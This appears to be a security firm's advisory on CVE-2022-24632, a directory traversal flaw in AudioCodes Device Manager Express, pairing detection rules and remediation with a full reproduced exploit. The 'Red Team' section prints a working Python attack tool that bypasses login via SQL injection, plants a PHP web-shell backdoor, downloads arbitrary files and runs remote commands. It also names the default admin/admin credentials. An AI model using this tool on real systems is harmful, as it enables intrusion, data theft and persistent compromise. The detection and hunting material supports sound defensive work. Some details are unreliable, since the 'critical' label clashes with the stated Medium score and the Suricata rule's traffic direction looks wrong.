CVE-2022-24632

Executive Summary

CVE-2022-24632 is a critical directory traversal vulnerability in AudioCodes Device Manager Express (DME) versions up to and including 7.8.20002.47752. The flaw resides in the BrowseFiles.php script, specifically within the view parameter, allowing an authenticated attacker to read arbitrary files from the underlying Windows server. This vulnerability is part of a chained exploit chain (CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24631, CVE-2022-24632) that enables full remote code execution (RCE). The product has reached End of Life (EOL), meaning no official patches will be released. Immediate migration to a supported solution is strongly advised.

Supply Chain & Package Security

This vulnerability does not affect open-source packages (NPM, PyPI, Go, Ruby). It is a proprietary web application vulnerability.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium) - Based on CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires authentication (default credentials admin/admin).
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - Impact confined to the vulnerable component.
• Confidentiality (C): High (H) - Full file read capability.
• Integrity (I): None (N) - No file modification.
• Availability (A): None (N) - No denial of service.

Threat Level: High. Although the CVSS score is Medium, the ease of exploitation, availability of public exploit code, and the product's EOL status elevate the risk. The vulnerability is often chained with SQL injection (CVE-2022-24627) for authentication bypass and arbitrary file upload (CVE-2022-24629) for RCE.

Deep Dive & Mechanics

The vulnerability exists in the BrowseFiles.php script. The view parameter is used to specify a file path for download. The application fails to properly sanitize or validate the user-supplied path, allowing path traversal sequences (e.g., ../ or absolute paths like c:\windows\win.ini) to access files outside the intended web root.

Vulnerable Code Snippet (Conceptual):

// BrowseFiles.php (vulnerable)
$file = $_GET['view'];
// No sanitization or path validation
$content = file_get_contents($file);
echo $content;

The application does not check for:

• Path traversal sequences (../, ..\\)
• Absolute paths (c:\, \\server\share)
• File extension restrictions (though a separate extension whitelist mechanism exists, it can be bypassed via CVE-2022-24629)

Vulnerable vs. Patched Code

Since the product is EOL, no patched version exists. The following demonstrates the conceptual fix:

Vulnerable Code:

$file = $_GET['view'];
$content = file_get_contents($file);

Patched Code (Conceptual):

$baseDir = realpath(__DIR__ . '/../uploads/');
$file = realpath($baseDir . '/' . basename($_GET['view']));
if (strpos($file, $baseDir) !== 0) {
    die('Access denied.');
}
$content = file_get_contents($file);

Exploitation & Lab Setup

Red Team

The provided exploit code (Exploit-DB) demonstrates a full chain attack. For CVE-2022-24632 specifically, the download_file function is used.

Prerequisites:

• Target running AudioCodes DME <= 7.8.20002.47752
• Network access to the web interface (default port 80)
• Valid credentials (default: admin/admin) or ability to bypass authentication via CVE-2022-24627

Exploit Usage:

1. Save the exploit code as exploit.py.
2. Run: python3 exploit.py <target_ip>
3. Select option 2: Download arbitrary file.
4. Enter the full path to the target file, e.g., c:\windows\win.ini or c:\audiocodes\express\WebAdmin\config.php.

Full Exploit Code (from Exploit-DB):

# Exploit Title: Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE)
# Date: 02-12-22
# Exploit Author: 0xEF
# Vendor Homepage: https://www.audiocodes.com
# Software Link: https://ln5.sync.com/dl/82774fdd0/jwqwt632-s65tncqu-iwrtm7g3-iidti637
# Version: <= 7.8.20002.47752
# Tested on: Windows 10 & Windows Server 2019
# Default credentials: admin/admin
# SQL injection + Path traversal + Remote Command Execution
# CVE: CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24632

#!/usr/bin/python3

import requests
import sys
import time
import re
import colorama
from colorama import Fore, Style
import uuid

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

def menu():
   print('-----------------------------------------------------------------------\n'
         'AudioCodes Device Manager Express                 45 78 70 6C 6F 69 74 \n'
         '-----------------------------------------------------------------------')

def optionlist(s,target):
  try:
   print('\nOptions: (Press any other key to quit)\n'
         '-----------------------------------------------------------------------\n'
         '1: Upload arbitrary file\n'
         '2: Download arbitrary file\n'
         '3: Execute command\n'
         '4: Add backdoor\n'
         '-----------------------------------------------------------------------')
   option = int(input('Select: '))
   if(option == 1):
     t = 'a'
     upload_file(s,target,t)
   elif(option == 2):
     download_file(s,target)
   elif(option == 3):
     execute(s,target)
   elif(option == 4):
     t = 'b'
     upload_file(s,target,t)
  except:
     sys.exit()


def bypass_auth(target):
   try:
      print(f'\nTrying to bypass authentication..\n')
      url = f'http://{target}/admin/AudioCodes_files/process_login.php'
      s = requests.Session()
      # CVE-2022-24627
      payload_list = ['\'or 1=1#','\\\'or 1=1#','admin']
      for payload in payload_list:
         body = {'username':'admin','password':'','domain':'','p':payload}
         r = s.post(url, data = body)
      if('Configuration' in r.text):
         print(f'{Fore.GREEN}(+) Authenticated as Administrator on: {target}{Style.RESET_ALL}')
         time.sleep(1)
         return(s)
      else:
         print(f'{Fore.RED}(-) Computer says no, can\'t login, try again..{Style.RESET_ALL}')
         main()
   except:
      sys.exit()

def upload_file(s,target,t):
   try:
     url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?type='
     param = uuid.uuid4().hex
     file = input('\nEnter file name: ')
     # read extension
     ext = file.rsplit( ".", 1 )[ 1 ]
     if (t=='b'):
        # remove extension
        file = file.rsplit( ".", 1 )[ 0 ] + '.php'
        ext = 'php'
     patch = '1'
     if(file != ''):
       if(patch_ext(s,target,patch,ext)):
          # CVE-2022-24629
          print(f'{Fore.GREEN}(+) Success{Style.RESET_ALL}')
          if(t=='a'):
            dest = input('\nEnter destination location (ex. c:\): ')
            print(f'\nUploading file to {target}: {dest}{file}')
            files = {'myfile': (file, open(file,'rb'), 'text/html')}
            body = {'dir': f'{dest}', 'type': '', 'Submit': 'Upload'}
            r = s.post(url, files=files, data=body)
            print(f'{Fore.GREEN}(+) Done{Style.RESET_ALL}')
          if(t=='b'):
            shell = f'<?php echo shell_exec($_GET[\'{param}\']); ?>'
            files = {f'myfile': (file, shell, 'text/html')}
            body = {'dir': 'C:/audiocodes/express/WebAdmin/region/', 'type': '', 'Submit': 'Upload'}
            r = s.post(url, files=files, data=body)
            print(f'\nBackdoor location:')
            print(f'{Fore.GREEN}(+) http://{target}/region/{file}?{param}=dir{Style.RESET_ALL}')
          patch = '2'
          time.sleep(1)
          patch_ext(s,target,patch,ext)
       else:
          print(f'{Fore.RED}(-) Could not whitelist extension {ext}.. Try something else\n{Style.RESET_ALL}')
   except:
       print(f'{Fore.RED}(-) Computer says no..{Style.RESET_ALL}')
       patch = '2'
       patch_ext(s,target,patch,ext)

def download_file(s,target):
   # CVE-2022-24632
   try:
     file = input('\nFull path to file, eg. c:\\windows\win.ini: ')
     if(file != ''):
         url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?view={file}'
         r = s.get(url)
         if (len(r.content) > 0):
           print(f'{Fore.GREEN}\n(+) File {file} downloaded\n{Style.RESET_ALL}')
           file = str(file).split('\\')[-1:][0]
           open(file, 'wb').write(r.content)
         else:
           print(f'{Fore.RED}\n(-) File not found..\n{Style.RESET_ALL}')
     else:
       print(f'{Fore.RED}\n(-) Computer says no..\n{Style.RESET_ALL}')
   except:
      sys.exit()

def execute(s,target):
   try:
     while True:
      # CVE-2022-24631
      command = input('\nEnter a command: ')
      if(command == ''):
        optionlist(s,target)
        break
      print(f'{Fore.GREEN}(+) Executing: {command}{Style.RESET_ALL}')
      body = 'ssh_command='+ command
      url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?cmd=ssh'
      r = s.post(url, data = body, headers=headers)
      print('-----------------------------------------------------------------------')
      time.sleep(1)
      print((", ".join(re.findall(r'</form>(.+?)</section>',str(r.content)))).replace('\\r\\n', '').replace('</div>', '').replace('<div>', '').replace('</DIV>', '').replace('<DIV>', '').replace('<br/>', '').lstrip())
      print('-----------------------------------------------------------------------')
   except:
      sys.exit()

def patch_ext(s,target,opt,ext):
   try:
     if(opt == '1'):
       print('\nTrying to add extension to whitelist..')
       body = {'action':'saveext','extensions':f'.cab,.cfg,.csv,.id,.img,.{ext},.zip'}
     if(opt == '2'):
       print('\nCleaning up..')
       body = {'action':'saveext','extensions':'.cab,.cfg,.csv,.id,.img,.zip'}
       print(f'{Fore.GREEN}(+) {ext.upper()} extension removed\n{Style.RESET_ALL}')
     url = f'http://{target}/admin/AudioCodes_files/ajax/ajaxGlobalSettings.php'
     r = s.post(url, data = body, headers=headers)
     time.sleep(1)
     if(f'{ext}' in r.text):
        return True
   except:
      sys.exit()

def main():
   if len(sys.argv) != 2:
      print(' Usage: ' + sys.argv[0] + ' <target IP>')
      print(' Example: ' + sys.argv[0] + ' 172.16.86.154')
      sys.exit(1)

   target = sys.argv[1]
   menu()
   s = bypass_auth(target)
   if(s):
     optionlist(s,target)

if __name__ == '__main__':
    main()

# Timeline
# 11-11-2021 Vulnerabilities discovered
# 12-11-2021 PoC written
# 15-11-2021 Details shared with vendor
# 02-12-2021 Vendor confirmed vulnerabilities
# 03-12-2021 CVE's requested
# 09-12-2021 Vendor replied with solution and notified customers
# 07-02-2022 Product EOL announced
# 10-03-2022 CVE's assigned
# 02-12-2022 Disclosure of findings

Blue Team

Detection:

• Monitor HTTP GET requests to /admin/AudioCodes_files/BrowseFiles.php with a view parameter containing path traversal sequences (../, ..\\) or absolute paths (c:\, d:\).
• Alert on successful downloads of sensitive files (e.g., web.config, config.php, *.ini, *.txt).
• Monitor for authentication bypass attempts using SQL injection payloads in the p parameter of process_login.php.

Hunting:

• Search web server logs for BrowseFiles.php?view= followed by suspicious paths.
• Check for unexpected files in the C:\audiocodes\express\WebAdmin\region\ directory (backdoor upload location).
• Review ajaxGlobalSettings.php requests for extension whitelist modifications.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /admin/AudioCodes_files/BrowseFiles.php?view=c:\windows\win.ini
  • HTTP POST requests to /admin/AudioCodes_files/process_login.php with p='or 1=1#
  • HTTP POST requests to /admin/AudioCodes_files/ajax/ajaxGlobalSettings.php with action=saveext
• File System:
  • Unexpected .php files in C:\audiocodes\express\WebAdmin\region\
  • Modified C:\audiocodes\express\WebAdmin\config.php or other configuration files
• Logs:
  • Web server logs showing 200 responses to BrowseFiles.php with view parameter containing .. or absolute paths.

Detection Engineering

YARA Rule

rule CVE_2022_24632_AudioCodes_Directory_Traversal {
    meta:
        description = "Detects exploitation attempts of CVE-2022-24632 in AudioCodes DME"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-24632"
    strings:
        $s1 = "BrowseFiles.php?view=" nocase
        $s2 = "..\\" nocase
        $s3 = "c:\\" nocase
        $s4 = "d:\\" nocase
        $s5 = "win.ini" nocase
        $s6 = "config.php" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2022-24632 AudioCodes DME Directory Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts via BrowseFiles.php view parameter
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/AudioCodes_files/BrowseFiles.php'
        cs-uri-query|contains: 'view='
    filter:
        cs-uri-query|contains:
            - '..\\'
            - 'c:\\'
            - 'd:\\'
            - 'win.ini'
            - 'config.php'
    condition: selection and filter
falsepositives:
    - Legitimate administrative file downloads (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-24632 AudioCodes DME Directory Traversal Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin/AudioCodes_files/BrowseFiles.php"; http_uri;
    content:"view="; http_uri;
    pcre:"/(\.\.\\|c:\\|d:\\|win\.ini|config\.php)/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Immediately remove AudioCodes DME from production networks if possible.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block requests containing path traversal patterns in the view parameter.
3. Restrict network access: Limit access to the DME web interface to trusted IP addresses only.
4. Change default credentials: If still in use, change the admin password immediately.

Long-Term Remediation:

1. Migrate to supported solution: AudioCodes DME is EOL. Migrate to a supported device management platform.
2. Decommission: Plan for complete decommissioning of the vulnerable system.
3. Monitor logs: Retain and monitor web server logs for any signs of exploitation.

Valters IT

This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

{/* [Security Hash: F5C8FC35B1CF3D64E48C1AA5] */}